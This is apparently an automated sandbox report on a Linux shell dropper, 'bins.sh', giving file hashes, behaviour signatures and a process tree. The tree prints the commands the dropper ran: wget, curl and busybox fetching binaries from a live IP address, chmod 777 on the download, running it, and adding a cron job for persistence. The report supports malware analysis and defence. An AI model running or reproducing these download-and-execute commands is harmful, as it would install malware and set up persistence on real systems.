Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    10-11-2024 00:47

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    626b2399c8072b30ebfe63d2d23c416e

  • SHA1

    7a5dca06f864826e8a1ad21ffac1f9edb045bb3f

  • SHA256

    1579d7ea20d6243a2c8c7b6caa4e35fd28dc71e627adb276834dce8e5e012f9a

  • SHA512

    6f43dc9a7d2c30a0447f51d3a2fd0c90d818532d7c8ea49842fd66c6a1a15149e5d403cd8182369162925362d2d2d6d5c08fb5e95d9ee28c3ee4b237c4a35825

  • SSDEEP

    192:DnbMZhr1cEeNuN1i3L75f/szfL6dhQgN1i3L5f/szfYxnbMZhzLcEZ:DnbMZhroXA67gnbMZhz3

Malware Config

Signatures

  • Contacts a large (2207) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1515
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1516
        • /usr/bin/wget
          wget http://87.120.84.230/bins/wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681
          2⤵
          • Writes file to tmp directory
          PID:1517
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681
          2⤵
          • Writes file to tmp directory
          PID:1521
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681
          2⤵
          • Writes file to tmp directory
          PID:1522
        • /bin/chmod
          chmod 777 wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681
          2⤵
          • File and Directory Permissions Modification
          PID:1523
        • /tmp/wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681
          ./wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:1524
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:1526
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:1527
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:1528
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:1529
              • /bin/rm
                rm wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681
                2⤵
                  PID:1531
                • /usr/bin/wget
                  wget http://87.120.84.230/bins/KvH3UoksRRYPVQBB5h446C1JLpGoKMsui6
                  2⤵
                    PID:1534

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • /tmp/wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681

                  Filesize

                  99KB

                  MD5

                  9438d9bc392bcf300a5583b6df5bc8f6

                  SHA1

                  375a6ae34b516f6f3eeea8030c4084f585017efa

                  SHA256

                  68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                  SHA512

                  1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                • /var/spool/cron/crontabs/tmp.ARbVnF

                  Filesize

                  210B

                  MD5

                  95ebe51f59b5aa859a65a8696ffe8585

                  SHA1

                  c42fadd4ac3b69710a0ee5490203f7a52d87c3b4

                  SHA256

                  6d855aef3b07147c46def5a89ff27430d547fcac4a4f41c4a88074c1ba9e8d48

                  SHA512

                  ae89e9e9fd67f8b74142c8b3fff6c2a9d75ca272e742cfe94ed27acbaa84aec7288aa6b124e8755d96fa3aeabc4dad7f10e6d07929e4c209840bb42b330cd73c